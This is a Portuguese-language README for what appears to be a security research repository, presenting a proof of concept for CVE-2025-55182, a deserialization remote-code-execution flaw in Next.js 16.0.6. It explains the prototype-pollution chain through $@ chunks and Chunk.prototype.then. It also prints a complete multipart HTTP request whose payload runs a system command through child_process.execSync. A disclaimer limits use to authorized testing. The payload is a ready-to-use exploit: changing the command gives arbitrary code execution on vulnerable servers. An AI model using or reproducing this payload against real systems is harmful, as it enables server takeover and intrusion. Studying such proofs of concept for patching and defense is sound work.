
Mais focado em exploits; ótimo para repositórios de pesquisa de segurança.
Este repositório contém uma prova de conceito (POC) funcional para CVE-2025-55182, uma vulnerabilidade crítica de desserialização que afeta o Next.js 16.0.6.
O exploit abusa da desserialização de chunks $@ e de Chunk.prototype.then para obter controle total sobre o processo de resolução de chunks e alcançar execução arbitrária de código (RCE) no servidor.
O Next.js usa objetos Chunk internos e um mecanismo de streaming/desserialização para ações do servidor.
Ao abusar de $@ para desserializar uma referência a Chunk e injetar Chunk.prototype.then no objeto raiz, um atacante pode:
then(...) com controlado pelo atacantethisstatus do chunk como resolved_modelinitializeModelChunk com um chunk falso totalmente controlado pelo atacantechunk._response para alcançar comportamento interno perigosoO objetivo final é acionar a desserialização de Blob, que executa uma chamada como:
response._formData.get(response._prefix)
Ao definir response._formData.get = Function e colocar código arbitrário em response._prefix, o atacante pode executar comandos arbitrários do sistema.
A requisição HTTP em poc/CVE-2025-55182.http demonstra o exploit contra o Next.js 16.0.6 executando localmente, iniciando xcalc via child_process.execSync:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
/
├── README.md
├── DISCLAIMER.md
├── poc/
│ └── CVE-2025-55182.http
└── analysis/
└── exploitation-notes.md
Este projeto é fornecido estritamente para fins educacionais e de pesquisa. NÃO use este exploit em qualquer sistema que você não possua ou para o qual não tenha permissão explícita por escrito para testar.
O autor não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado.